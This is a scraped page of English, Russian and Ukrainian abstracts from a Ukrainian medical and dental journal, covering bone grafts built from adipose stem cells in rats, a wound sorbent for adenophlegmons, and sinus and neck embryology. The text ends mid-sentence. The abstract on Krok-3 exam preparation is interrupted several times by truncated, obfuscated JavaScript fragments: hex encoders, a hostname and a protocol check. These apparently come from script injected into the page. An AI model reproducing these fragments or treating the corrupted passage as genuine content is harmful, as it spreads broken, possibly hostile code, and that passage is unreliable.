Динаміка показників маркерів кісткового метаболізму при заміщенні кісткових дефектів тканинними еквівалентами кісткової тканинина основі ммск-жт

Summary. Multipotent mesenchial stromal cells of adipose tissue (MMSC-АT) are capable of differentiation in the adipogenic, osteogenic, chondrogenic, endothelial, myogenic, hepatogenic, epithelial and neurogenic regions. Since bone tissue healing is done by replacing the defect with the connective tissue, our task was transplantation of multipotent stem cells, which in future will be differentiated into proper bone tissue. The questions of osteogenesis and processes of mineralization of jaw bone in dental interventions are relevant. To enzymes that are involved in the regulation of phosphorous-calcium metabolism and have a direct effect on bone resorption and regeneration processes (both physiological and reparative) that occur in the bone, include acid and alkaline phosphatase. The aim of the study – to determine changes in bone remodeling rates when bone defects are filled with tissue equivalents of bone tissue based on multipotent mesenchymal stromal cells of adipose tissue (MMSC-AT). Materials and Methods. The experiment was conducted on the Wistar line rats, weighing 200–250 grams, which were divided into VI groups. A bone defect model was formed in the parietal section of the skull of rats. The formed defect implanted the harvested material. The activity of alkaline phosphatase in blood of rats was investigated by a unified method using the kit "Alkaline Phosphatase-02-Vital" (fm "Vital Diagnostics, Spb", St. Petersburg). The total phosphorus acid in animal blood was investigated by photometric optimized kinetic method using the kit "Acid Phosphatase-02-Vital" (fm "Vital Diagnostics, Spb", St. Petersburg). Blood from the caudal vein of the animals was collected in 1, 2, 3 months of the experiment. The obtained results are processed statistically. Results and Discussion. At the 90th day of observation in the blood of experimental animals, an increase in activity of alkaline phosphatase was investigated. At the same time, in the animals of groups IV and VI, the values of the studied index were maximum (14.49 ± 0.08) mmol/s • l, p1 - p2˂0.01 and 14.74 ± 0.09 mmol/s • l, p1 - p2˂0.01, p3˃0.05, p4˂0.01, respectively). In animals, the rest of the study groups, after 3 months of observation, the value of the analyzed parameters was lower than the data in the group I animals: 20.37 % in group II, p ˂ 0.01, 11.08 % – in group II, p – p1˂0.1, and by 18.91 % in group V, p˂0.01, p2-p3˂0.01, p2˃0.05. This tendency emphasizes that during this observation period, the activity of LF reaches the maximum values, contributing to the extracellular matrix and mucopolysaccharides synthesis, fibrillar protein synthesis and deposition of mineral deposits. Conclusions. Thus, the studies conducted by us have shown the ability of multipotent mesenchymal fatty tissue cells (MMSC-AT) to stimulate osteogenesis processes, mainly affecting the mineralizing function, as evidenced by an increase in alkaline phosphatas / phosphorus acid.Резюме. Мультипотентные мезенхиальные стромальные клетки из жировой ткани (ММСК-ЖТ) способны к дифференциации в адипогенном, остеогенном, хондрогенном, эндотелиальном, миогенном, гепатогенном, эпителиальном и нейрогенном направлениях. Поскольку заживления костной тканей происходит посредством замещения дефекта соединительной тканью, задачей было трансплантировая мультипотентные стволовые клетки, которые в дальнейшем будут дифференцироваться в собственно костную ткань. Вопрос остеогенеза и процессов минерализации костной ткани челюстей при стоматологических вмешательствах актуальны. К ферментам, которые участвуют в регуляции фосфорно-кальциевого обмена и имеют непосредственное влияние на постоянно перебегающие в кости процессы резорбции и регенерации (как физиологической, так и репаративной), относят кислую и щелочную фосфатазы. Цель исследования – определить изменения в показателях костного ремоделирования при заполнении костных дефектов тканевыми эквивалентами костной ткани на основе мультипотентных мезенхимальных стромальных клеток жировой ткани (ММСК-ЖТ). Материалы и методы. Эксперимент проведен на крысах линии Вистар массой 200–250 г, которых разделили на 6 групп. Модель костного дефекта формировали в теменной области черепа крыс. В образованный дефект имплантировали заготовленный материал. Активность щелочной фосфатазы (ЛФ) в крови крыс исследовали унифицированным методом с использованием набора «Щелочная фосфатаза-02-ВИТАЛ» (ф-ма «Витал-Диагностикс, Спб», Санкт-Петербург). Общую кислую фосфатазу (КФ) в крови животных исследовали фотометрическим оптимизированным кинетическим методом с использованием набора «Кислая фосфатаза-02-ВИТАЛ» (ф-ма «Витал-Диагностикс, Спб», Санкт-Петербург). Кровь из хвостовой вены животных собирали через 1; 2; 3 месяца эксперимента. Полученные результаты обработаны статистически. Результаты исследований и их обсуждение. На 90 сутки наблюдений в крови экспериментальных животных исследовали увеличение активности щелочной фосфатазы крыс. При этом у четвертой и шестой опытных групп значение изучаемого показателя были максимальными ((14,49±0,08) ммоль/с×л, р1, р2˂0,01, и (14,74±0,09) ммоль/с×л, р1, р2˂0,01, р3˃0,05, р4˂0,01, соответственно)). У животных остальных групп исследования через 3 месяца наблюдений значение проанализированного параметра были ниже данных у животных первой группы: на 20,37 % – во второй группе, р˂0,01, на 11,08 % – в третьей, р, р1˂0,01 и на 18,91 % в п’ятой группе, р˂0,01, р2, р3˂0,01, р2˃0,05. Эта тенденция подчеркивает, что в данный срок наблюдений активность ЛФ достигает максимальных значений, способствуя синтезу внеклеточной матрицы и мукополисахаридив, в образовании фибриллярных белков и отложению минеральных солей. Выводы. Проведенные исследования показали способность мультипотентных мезенхимальных клеток жировой ткани (ММСК-ЖТ) стимулировать процессы остеогенеза, влияя, главным образом, на минерализующую функцию, о чем свидетельствует увеличение показателя ЛФ/КФ.Резюме. Мультипотентні мезенхіальні стромальні клітини з жирової тканини (ММСК-ЖТ) здатні до диференціації в адипогенному, остеогенному, хондрогенному, ендотеліальному, міогенному, гепатогенному, епітеліальному та нейрогенному напрямках. Оскільки загоєння кісткової тканин відбувається за допомогою заміщення дефекту сполучною тканиною, завданням було трансплантувати мультипотентні стовбурові клітини, які в подальшому будуть диференціюватись, у власне кісткову тканину. Питання остеогенезу і процесів мінералізації кісткової тканини щелеп при стоматологічних втручаннях є актуальними. До ферментів, які беруть участь у регуляції фосфорно-кальцієвого обміну і мають безпосередній вплив на процеси резорбції та регенерації (як фізіологічної, так і репаративної), що постійно перебігаючі у кістці, відносять кислу і лужну фосфатази. Мета дослідження – визначити зміни в показниках кісткового ремоделювання при заповненні кісткових дефектів тканинними еквівалентами кісткової тканини на основі мультипотентних мезенхімальних стромальних клітин жирової тканини (ММСК-ЖТ). Матеріали і методи. Експеримент проведено на щурах лінії Вістар масою 200–250 г, яких поділили на 6 груп. Модель кісткового дефекту формували в тім’яній ділянці черепа щурів. В утворений дефект імплантували заготовлений матеріал. Активність лужної фосфатази (ЛФ) у крові щурів досліджували за уніфікованим методом з використанням набору «Щелочная фосфатаза-02-ВИТАЛ» (ф-ма «Витал-Диагностикс, Спб», Санкт-Петербург). Загальну кислу фосфатазу (КФ) у крові тварин досліджували фотометричним оптимізованим кінетичним методом з використанням набору «Кислая фосфатаза-02-ВИТАЛ» (ф-ма «Витал-Диагностикс, Спб», Санкт-Петербург). Кров з хвостової вени тварин збирали через 1; 2; 3 місяці експерименту. Отримані результати опрацьовано статистично. Результати досліджень та їх обговорення. На 90 добу спостережень у крові експериментальних тварин досліджували збільшення активності лужної фосфатази. При цьому в щурів четвертої та шостої дослідних груп значення показника, який вивчали, були максимальними ((14,49±0,08) ммоль/с×л, р1 – р2˂0,01, та (14,74±0,09) ммоль/с× л, р1, р2˂0,01, р3˃0,05, р4˂0,01 відповідно)). У тварин інших груп дослідження через 3 місяці після спостережень значення проаналізованого параметра були нижче від даних у тварин першої групи: на 20,37 % – в другої, р˂0,01, на 11,08 % – у третій, р, р1˂0,01 та на 18,91 % у п’ятій групах, р˂0,01, р2, р3˂0,01, р2˃0,05. Ця тенденція показує, що у даний термін спостережень активність ЛФ досягає максимальних значень, сприяючи синтезу позаклітинної матриці й мукополісахаридів, в утворенні фібрилярних білків та відкладенню мінеральних солей. Висновки. Проведені дослідження показали здатність мультипотентних мезенхімальних клітини жирової тканини (ММСК-ЖТ) стимулювати процеси остеогенезу, впливаючи, головним чином, на мінералізуючу функцію, про що свідчить збільшення показника ЛФ/КФ

Фенотипова характеристика мультипотентних мезенхімальних стромальних клітин жирової тканини та оцінка ступеня її мінералізації IN VITRO

Summary. In medical practice, specialists quite often encounter injuries of various etiologies. The current goal is to make reconstruction of the damaged tissue in a short term, with minimal cost and effect on the body. The use of stem cells in dental practice has become possible due to the phenomenal discovery in biology and biotechnology regarding the ability of stem cells, after injecting them into the recipient's body, to enter the places of damaged tissues and restore their cellular structure. The aim of the study – to determine the biocompatibility of mesenchymal stromal cells of adipose tissue with osteoplastic materials Materials and Methods. The study was conducted at the Bukovynian State Medical University, Chernivtsi, Ukraine. Adipose tissue samples were obtained from the neck of 60 experimental animals (white Wistar rats). Multipotent mesenchymal adipose tissue cells (MMSC – AT) were obtained by grinding adipose tissue of rats. Phenotyping of MMSC – AT by markers SD 44, SD 45, SD 73, SD 90, SD 117, Sca-1 was performed using monoclonal antibodies to mouse membrane antigens conjugated to fluorochromes. Evaluation of fibroblast proliferation was performed using the Alamar Blue test at 3, 7 and 10 days after the start of the experiment. Results and Discussion. Cultured MMSC – AT of experimental rats of the 2nd passage express MMSC markers characteristic of MMSC – AT capable of differentiation in the osteogenic direction, with the predominance of this process in tissue samples containing platelet-enriched plasma and Kolаpan. During osteogenic differentiation, morphological changes of cells took place, with synthesis and mineralization of the extracellular matrix and formation of cell aggregates. Analysis of the degree of extracellular matrix mineralization revealed that the studied samples containing MMSC – AT have osteogenic potential, which was more pronounced in the samples "MMSC – AT + platelet-enriched plasma" and "MMSC – AT + platelet-enriched plasma + Kolаpan ". Conclusions. Therefore, tissue equivalents of bone tissue based on multipotent mesenchymal stromal cells from adipose tissue can be candidates for use in regenerative medicine, and studies of their use in experimental animals will provide an opportunity to expand understanding of the characteristics of MMSC – AT to optimize their further clinical application and implementation new approaches in different areas of dentistry.Резюме. Во врачебной практике специалисты довольно часто сталкиваются с травмами различной этиологии. Актуальна цель в короткий срок с минимальными затратами и влиянием на организм реконструировать поврежденную ткань. Использование стволовых клеток в стоматологической практике стало возможным благодаря феноменальным открытием в биологии и биотехнологии, касающиеся способности стволовых клеток после введения их в организм реципиента поступать в места повреждений тканей и восстанавливать их клеточную структуру. Цель исследования – определить биосовместимость мезенхимальных стромальных клеток жировой ткани (ММСК-ЖТ)  с остеопластическими материалами. Материалы и методы. Исследование проводилось на базе Буковинского государственного медицинского университета. Образцы жировой ткани были получены из области шеи 60 экспериментальных животных (белые крысы линии Вистар). Мультипотентные мезенхимальные клетки жировой ткани (ММСК-ЖТ) получали путем измельчения жировой ткани крыс. Фенотипирования ММСК-ЖТ по маркерам СД 44, СД 45, СД 73, СД 90, СД 117, Sca-1 проводили с использованием моноклониальних антител к мембранным антигенам мыши, конъюгированных с флуорохромами. Оценивания пролиферации фибробластов проводили с помощью теста Alamar Blue на 3; 7 и 10 сутки после начала эксперимента. Результаты исследований и их обсуждение. Культивируемые ММСК-ЖТ экспериментальных крыс второго пассажа экспрессируют характерные для ММСК маркеры ММСК-ЖТ, способны к дифференциации в остеогенном направлении, при превалировании данного процесса в тканевых образцах, содержащих плазму,  обогащенную тромбоцитами, и колапан. Во время остеогенной дифференциации происходило морфологическое изменение клеток с синтезом и минерализацией внеклеточного матрикса и образованием клеточных агрегатов. Анализ степени минералиации внеклеточного матрикса обнаружил, что исследуемые образцы с содержанием ММСК-ЖТ имеют остеогенный потенциал, который был более выражен в образцах «ММСК-ЖТ + обогащенная тромбоцитами плазма» и «ММСК-ЖТ + обогащенная тромбоцитами плазма + коллапан». Выводы. Тканевые эквиваленты костной ткани на основе мультипотентных мезенхимальных стромальных клеток из жировой ткани могут быть кандидатами для применения в регенеративной медицине, а исследования их применения на экспериментальных животных предоставят возможность для расширения представления о характеристиках ММСК-ЖТ с целью оптимизации их дальнейшего клинического применения и реализации новых подходов в разных направлениях стоматологии.Резюме. У лікарській практиці фахівці досить часто стикаються з травмами різної етіології. Актуальною є мета в короткий термін, з мінімальними затратами та впливом на організм реконструювати ушкоджену тканину. Використання стовбурових клітин у стоматологічній практиці стало можливим завдяки феноменальним відкриттям в біології та біотехнології, які стосуються здатності стовбурових клітин після введення їх в організм реципієнта надходити в місця ушкоджень тканин і відновлювати їх клітинну структуру. Мета дослідження – визначити біосумісність мезенхімальних стромальних клітин жирової тканини (ММСК-ЖТ) з остеопластичними матеріалами. Матеріали і методи. Дослідження проводили на базі Буковинського державного медичного університету. Зразки жирової тканини були отримані з ділянки шиї 60 експериментальних тварин (білі щури лінії Вістар). Мультипотентні мезенхімальні клітини жирової тканини (ММСК-ЖТ) отримували шляхом подрібнення жирової тканини щурів. Фенотипування ММСК-ЖТ за маркерами СД 44, СД 45, СД 73, СД 90, СД 117, Sca-1 проводили з використанням моноклоніальних антитіл до мембранних антигенів миші, кон’югованих з флуорохромами. Оцінювали проліферації фібробластів за допомогою тесту Alamar Blue (AB, Serotec) на 3; 7 та 10 доби після початку експерименту. Результати досліджень та їх обговорення. Культивовані ММСК-ЖТ експериментальних щурів 2-го пасажу експресують характерні для ММСК маркери ММСК-ЖТ, здатні до диференціації в остеогенному напрямку, при превалюванні даного процесу в тканинних зразках, що містили плазму, збагачену тромбоцитами, та колопан. Під час остеогенної диференціації відбувалась морфологічна зміна клітин із синтезом і мінералізацією позаклітинного матриксу та утворенням клітинних агрегатів. Аналіз ступеня мінераліації позаклітинного матриксу виявив, що досліджувані зразки з вмістом ММСК-ЖТ мають остеогенний потенціал, який був більш виражений у зразках «ММСК-ЖТ + плазма, збагачена тромбоцитами» та «ММСК-ЖТ + плазма, збагачена тромбоцитами + колапан». Висновки. Тканинні еквіваленти кісткової тканини на основі мультипотентних мезенхіальних стромальних клітин із жирової тканини можуть бути кандидатами для застосування у регенеративній медицині, а дослідження їх на експериментальних тваринах нададуть можливість для розширення уявлення про характеристику ММСК-ЖТ з метою оптимізації їх подальшого клінічного застосування і реалізації нових підходів у різних напрямках стоматології

ЕФЕКТИВНІ СКЛАДОВІ ЯКІСНОЇ ПІДГОТОВКИ ЛІКАРІВ-ІНТЕРНІВ ДО ЛІЦЕНЗІЙНОГО ІНТЕГРОВАНОГО ІСПИТУ “КРОК-3. СТОМАТОЛОГІЯ”

The article shows that the effectiveness of training of doctor-interns to integrated licensing examination “Krok 3. Stomatology” depends on the quality of training in specialized departments, using modern computer technology.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ статті показано, що ефективність підготовки лікарів-інтернів до ліцензійного інтегрованого іспиту “Крок-3. Стоматологія” визначається якістю навчання на профільних кафедрах з використанням сучасних комп’ютерних технологій.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

Лікування хворих з аденофлегмонами щелепно-лицевої ділянки препаратами із сорбційними та протеолітичними властивостями

Treatment of purulent-inflammatory diseases is one of the most pressing problems of surgical dentistry and is provided by the use of various drugs, among which the leading place is occupied by antiseptics, antibiotics, detoxifiers, drugs with a sorption mechanism of action, including Gelevinum, Regencur. The aim of the study – given the modern approach to the local treatment of purulent-necrotic wounds, it is advisable to use a drug that would exhibit simultaneous sorption, detoxification and prolonged proteolytic action. Materials and Methods. The composition containing a protein-fixing sorbent polysorb (not less than 96%), crystalline trypsin and antiseptic ethonium, which, in addition, acts as a stabilizer of proteolytic activity. Clinical data and leukocytosis index were used to evaluate the effectiveness of the composition. The research results were processed statistically. Results and Discussion. By the trials on 48 patients with adenophlegmons of the maxillofacial region it was shown that using of composition Lysetox, which consists of polysorb, trypsin and aethonium, increases the treatment efficiency. The sickliness and tissue infiltration around wound disappear 2 days earlier. The inflammatory contracture of the lower jaw and the hyperemia of skin disappear one day earlier. Normalization of amount of the peripheral blood leukocytes and complete debridement of the wound occur 2 days earlier. Conclusions. A study has demonstrated that including of the composition Lysetox into the treatment accelerates the debridement and the detoxication of suppurative wound.Лечение гнойно-воспалительных заболеваний является одной из наиболее актуальных проблем хирургической стоматологии и обеспечивается применением различных лекарственных средств, среди которых ведущее место занимают антисептики, антибиотики, детоксицирующие средства, препараты с сорбционным механизмом действия, среди которых «Гелевин», «Регенкур». Цель исследования – учитывая современный подход к местному лечению гнойно-некротических ран, целесообразно применение лекарственного средства, которое бы проявляло одновременно сорбционное, детоксицирующее и пролонгированное протеолитическое действия. Материалы и методы. В работе использована композиция, содержащая билокфиксирующий сорбент полисорб (не менее 96 %), кристаллический трипсин и антисептик этоний, который, кроме того, выполняет функцию стабилизатора протеолитической активности. Для оценки эффективности применения композиции использовали клинические данные и показатель лейкоцитоза. Результаты исследований обрабатывали статистически. Результаты исследований и их обсуждение. Результаты наблюдений за 48 больными с аденофлегмонами челюстно-лицевой области показали, что применение композиции «Лизетокс», которая содержит полисорб, трипсин и этоний, повышает эффективность лечения: на 2-е сутки раньше исчезает боль и инфильтрация тканей вокруг раны, на сутки быстрее проходит воспалительная контрактура нижней челюсти и гиперемия кожи. Нормализация количества лейкоцитов периферической крови и полное очищение раны происходит на 2-е сутки быстрее. Выводы. Включение композиции «Лизетокс» в комплекс лечения ускоряет очищение и детоксикацию гнойной раны.Лікування гнійно-запальних захворювань є однією з найбільш актуальних проблем хірургічної стоматології і забезпечується застосуванням різноманітних лікарських засобів, серед яких провідне місце займають антисептики, антибіотики, детоксикуючі засоби, препарати з сорбційним механізмом дії, серед яких «Гелевин», «Регенкур». Мета дослідження – враховуючи сучасний підхід до місцевого лікування гнійно-некротичних ран, доцільно застосовувати лікарський засіб, який би виявляв одночасно сорбційну, детоксикуючу та пролонговану протеолітичну дії. Матеріали і методи. В роботі використано композицію, яка містить білокфіксуючий сорбент полісорб (не менше 96 %), кристалічний трипсин та антисептик етоній, який, крім того, виконує функцію стабілізатора протеолітичної активності. Для оцінки ефективності застосування композиції використовували клінічні дані та показник лейкоцитозу. Результати досліджень обробляли статистично. Результати досліджень та їх обговорення. Результати&nbsp; спостережень на 48 хворих з аденофлегмонами щелепно-лицевої ділянки показали, що застовування композиції «Лізетокс», яка містить полісорб, трипсин та етоній, підвищує ефективність лікування: на 2 доби раніше зникає біль та інфільтрація тканин навколо рани, на добу швидше проходить запальна контрактура нижньої щелепи та гіперемія шкіри. Нормалізація кількості лейкоцитів периферійної крові та повне очищення рани відбувається на 2 доби швидше. Висновки. Включення композиції «Лізетокс» у комплекс лікування пришвидшує очищення та детоксикацію гнійної рани

СТАНОВЛЕННЯ ЛОБОВИХ ПАЗУХ ТА СУМІЖНИХ СТРУКТУР У ДИТЯЧОМУ ВІЦІ

The organization and syntopy of the wall of the frontal sinuses have been studied on 20 specimens of the facial region of children’s age by means of the morphological methods of research. It has been found out that the frontal sinuses are in the process of forming and have on oval or spherical form in newborns and infants. In early childhood they almost reach the supraorbital margins of the frontal bone. During the first childhood their superior walls are already located above the supraorbital margins and at the end of the second childhood the sinuses are pneumatized enough. Their asymmetric structure is detected in adolescent age. The right frontal sinuses are mace pneumatized.Морфологическими методами исследования изучены становление и синтопия стенок лобных пазух на 20 препаратах лицевой области детского возраста. Определено, что у новорожденных и детей грудного возраста лобные пазухи находятся в процессе становления и имеют овальную или шаровидную форму. В раннем детстве они почти достигают надглазничных краев лобной кости. В период первого детства их верхние стенки уже находятся выше надглазничных краев, а в конце второго детства пазухи достаточно пневматизированые. В подростковом возрасте выявляется асимметрия в их строении. Более пневматизированые праве лобные пазухи.Морфологічними методами дослідження вивчено становлення і синтопію стінок лобових пазух на 20 препаратах лицевої ділянки дитячого віку. Визначено, що у новонароджених та дітей грудного віку лобові пазухи знаходяться в процесі становлення і мають овальну або кулясту форму. В ранньому дитинстві вони майже досягають надочноямкових країв лобової кістки. В період першого дитинства їх верхні стінки уже знаходяться вище надочноямкових країв, а наприкінці другого дитинства пазухи достатньо пневматизовані. У підлітковому віці виявляється асиметрія в їх будові. Більше пневматизовані праві лобові пазухи

МОРФОГЕНЕЗ ЗАЛОЗ НОСОВОЇ ПОРОЖНИНИ ТА ПРИНОСОВИХ ПАЗУХ У ВІКОВОМУ АСПЕКТІ

Determined that the end of the 3rd month of fetal nasal cavity nasal septum is divided into two symmetrical halves. All the walls are covered with nasal mucosa. At this stage of development in the area of the lower and middle nasal passages and corresponding areas of the nasal septum begins development of mucosal glands. Single glands are also found in the mucosa of the maxillary sinus germ. The glands have the shape of small cones. In the fetal period in the mucosa of the nasal cavity walls increases the number of glands. The highest concentration observed in the glands middle sections of the side wall of the nasal cavity and nasal septum. In the area of vestibule and posterior nasal their number reduced. In adulthood marked stabilization locations and forms of glands. They are in the submucosal layer of the walls of the nasal cavity. In elderly and senile age observed atrophy mucosal glands like the walls of the nasal cavity and paranasal sinuses.Определено, что в конце 3-го месяца внутриутробного развития носовая полость разделена носовой перегородкой на две симметричные половины. Все стенки носовой полости покрыты слизистой оболочкой. На данной стадии развития в области нижнего и среднего носовых ходов и соответствующей им участки носовой перегородки начинается развитие желез слизистой оболочки. Одиночные железы обнаружены также и в слизистой оболочке зачатка верхнечелюстной пазухи. Железы имеют форму небольших колбочек. В плодовом периоде в слизистой оболочке стенок носовой полости увеличивается количество желез. Наибольшая концентрация желез наблюдается в средних отделах боковой стенки носовой полости и носовой перегородки. В области преддверия и задних отделов носовой полости их количество уменьшается. Во взрослом возрасте отмечается стабилизация местоположения и формы желез. Они находятся в подслизистом слое стенок носовой полости. В пожилом и старческом возрасте наблюдается атрофия желез слизистой оболочки, как стенок носовой полости, так и околоносовых пазух.Визначено, що наприкінці 3-го місяця внутрішньоутробного розвитку носова порожнина розділена носовою перегородкою на дві симетричні половини.Всі стінки носової порожнини вкриті слизовою оболонкою. На даній стадії розвитку в ділянці нижнього та середнього носових ходів і відповідної їм ділянки носової перегородки починається розвиток залоз слизової оболонки. Поодинокі залози виявлені також і в слизовій оболонці зачатка верхньощелепної пазухи. Залози мають форму невеликих колбочок. У плодовому періоді в слизовій оболонці стінок носової порожнини збільшується кількість залоз. Найбільша концентрація залоз спостерігається у середніх відділах бічної стінкиносової порожнини і носової перегородки. У ділянці присінка і задніх відділів носової порожнини їх кількість зменшується.У дорослому віці відзначається стабілізація місця розташування та форми залоз. Вони знаходяться у підслизовому шарі стінок носової порожнини.У похилому і старечому віці спостерігається атрофія залоз слизової оболонки як стінок носової порожнини, так і приносових пазух

ОСОБЛИВОСТІ ЗАКЛАДКИ ТА РОЗВИТКУ ОРГАНІВ ШИЇ У ЗАРОДКОВОМУ ПЕРІОДІ ОНТОГЕНЕЗУ ЛЮДИНИ

Objective: to determine the peculiarities of anlage and development of certain cervical organs during the embryonic period of human ontogenesis.Materials and methods. The study was conducted on 12 series of successive histological sections of the human embryos 4-6 weeks of development (4,0-13,5 mm of the parietal-coccygeal length (PCL). Only those cases were included into the study when a cause of death was not associated with pathology of the organs, vessels and nerves of the neck. The methods of preparation of series of successive histological sections, common and thin dissection under control of binocular lens, graphic and plastic reconstruction, microscopy, and morphometry were used.Results. In the embryos 4,0-4,5 mm long the rudiments of the esophagus, larynx and trachea are determined as pharyngeal derivatives on the level of the first cervical vertebra, although none of the morphological structures that can be used to determine the borders between the rudiments of the respiratory and digestive tubes are found. In front of the rudiments of the respiratory and digestive systems there are big rudiments of the heart and liver, and behind – the rudiments of the cardiac veins, dorsal aorta and vertebral column.During the fifth week of the embryonic development the rudiment of the oral pharynx is in the form of a dilated anterior part of the foregut. The oral fossa which is the initial portion of the oral pharynx is bounded above by the unpaired frontal process, lower – by paired mandibular processes, and from the sides – by maxillary processes. The cervical part of the vertebral column is located dorsally from the rudiment of the pharynx, the larynx rudiment – ventrally, and vascular-nervous bundle of the neck – ventrolaterally. The rudiment of the larynx looks like an oval accumulation of mesenchyme developed due to the closure and separation of the epithelial channel from the ventral wall of the anterior intestine. The fourth brachia arteries are determined on the examined stage of the intrauterine development transformed in the right into the anonymous artery, and in the left – into the aortal arch.In the embryos 9,0-12,0 mm of PCL in the caudal portion of the anterior pharyngeal wall on the level of branching of the tracheal rudiment there is a paired thickening of the mesenchyme in the form of arytenoid rollers with dorsally directed incisures and a transverse roller separating the entrance into the respiratory tube. The epiglottis rudiment is also determined. The venous system of the cervical region is presented by the anterior cardinal veins mainly located ventrally from the vertebral column. The junction of the anterior and posterior cardinal veins results in the formation of the common cardinal veins. At the end of the embryonic period of development the internal and external jugular veins are formed from the cranial portion of the anterior cardinal vein.Conclusions. At the end of the embryonic period of development the pharynx and trachea are not separated clearly, since they are surrounded by the common layer of mesenchyme. The larynx is presented by mesenchyme thickening located directly close to the entrance into the respiratory tube. The main cervical veins are formed from the anterior cardinal veins.Цель работы – выяснить особенности закладки и развития отдельных органов шеи в зародышевом периоде онтогенеза человека.Материалы и методы. Исследование проведено на 12 сериях последовательных гистологических срезов зародышей человека 4 – 6 недель (4,0-13,5 мм теменно-копчиковой длины, ТКД). В исследование включены только те случаи, когда причина смерти не была связана с патологией органов, сосудов и нервов шеи. Использованные методы изготовления серий последовательных гистологических срезов, обычного и тонкого препарирования под контролем бинокулярной лупы, графического и пластического реконструкциювания, микроскопии, морфометрии.Результаты. В зародышей длиной 4,0-4,5 мм зачатки пищевода, гортани и трахеи определяются как производные ротоглотки, на уровне первого шейного позвонка, однако никаких морфологических структур, которые могли бы быть использованы для определения границы между зачатками дыхательной и пищеварительной трубок, не прослеживается. Впереди зачатков дыхательной и пищеварительной систем размещаются больших размеров, зачатки: сердца и печени, а позади зачатки кардинальных вен, дорсальной аорты и позвоночного столба.В течение пятой недели эмбрионального развития закладка ротоглотки представляет собой расширенную переднюю часть главной кишки. Ротовая ямка, которая является начальным отделом ротоглотки, ограничена сверху непарным лобовым отростком, снизу – парными нижнечелюстными отростками и по бокам – верхнечелюстными отростками. Дорсальнее от закладки глотки находится шейная часть позвоночного столба, вентральнее – зачаток гортани, а вентролатерального – сосудисто-нервный пучок шеи. Зачаток гортани напоминает собой овальной формы скопления мезенхимы, которая развивается вследствие замыкания и отделения эпителиального желобка от вентральной стенки передней кишки. На исследуемой стадии внутриутробного развития определяются четвертые жаберные артерии, которые трансформируются справа в безымянную артерию, а слева – в дугу аорты.В зародышей 9,0-12,0 мм ТКД в каудальном отделе передней стенки глотки на уровне ответвления трахейного зачатка появляется парное утолщение мезенхимы в виде черпаловидных валиков с дорсально направленной вырезкой и поперечный валик, которые отделяют вход в дыхательную трубку. Определяется также закладка надгортанника. Венозная система области шеи представлена, в основном, передними кардинальными венами, которые размещены вентральнее позвоночника. Вследствие сообщения передних и задних кардинальных вен образуются общие кардинальные вены. В конце зародышевого периода развития с краниального участка передней кардинальной вены формируются внутренняя и внешние яремные вены.Выводы. В конце зародышевого периода развития четкого отграничения глотки и трахеи не наблюдается, поскольку они окружены общим слоем мезенхимы. Гортань представлена утолщением мезенхимы, расположенной непосредственно у входа в дыхательную трубку. Основные вены шеи формируются из передних кардинальных вен.Мета роботи – з’ясувати особливості закладки та розвитку окремих органів шиї у зародковому періоді онтогенезу людини.Матеріал та методи. Дослідження проведено на 12 серіях послідовних гістологічних зрізів зародків людини 4 – 6 тижнів (4,0-13,5 мм тім'яно-куприкової довжини, ТКД). У дослідження включені тільки ті випадки, коли причина смерті не була пов'язана з патологією органів, судин і нервів шиї. Використані методи виготовлення серій послідовних гістологічних зрізів, звичайного та тонкого препарування під контролем бінокулярної лупи, графічного і пластичного реконструювання, мікроскопії, морфометрії.Результати. У зародків довжиною 4,0-4,5 мм зачатки стравоходу, гортані та трахеї визначаються, як похідні ротоглотки, на рівні першого шийного хребця, однак жодних морфологічних структур, які б могли бути використані для визначення межі між зачатками дихальної і травної трубок, не виявлено. Попереду зачатків дихальної та травної систем розміщуються великих розмірів, зачатки серця та печінки (великих розмірів), а позаду - зачатки кардинальних вен, дорсальної аорти та хребтового стовпа.Упродовж п’ятого тижня ембріонального розвитку закладка ротоглотки являє собою розширену передню частину головної кишки. Ротова ямка, яка є початковим відділом ротоглотки, обмежена зверху непарним лобовим відростком, знизу – парними нижньощелепними відростками та з боків – верхньощелепними відростками. Дорсальніше від закладки глотки знаходиться шийна частина хребтового стовпа, вентральніше – зачаток гортані, а вентролатерально – судинно-нервовий пучок шиї. Зачаток гортані нагадує собою овальної форми скопичення мезенхіми, яка розвивається внаслідок замикання та відокремлення епітеліального жолобка від вентральної стінки передньої кишки. На досліджуваній стадії внутрішньоутробного розвитку визначаються четверті зяброві артерії, які трансформуються справа у безіменну артерію, а зліва – в дугу аорти.У зародків 9,0-12,0 ммТКД у каудальному відділі передньої стінки глотки на рівні відгалуження трахейного зачатка з’являється парне потовщення мезенхіми у вигляді черпакуватих валиків з дорсально спрямованою вирізкою та поперечний валик, які відмежовують вхід у дихальну трубку. Визначається також закладка надгортанника. Венозна система ділянки шиї представлена, в основному, передніми кардинальними венами, які розміщені вентральніше хребта. Внаслідок сполучення передніх та задніх кардинальних вен утворюються спільні кардинальні вени. Наприкінці зародкового періоду 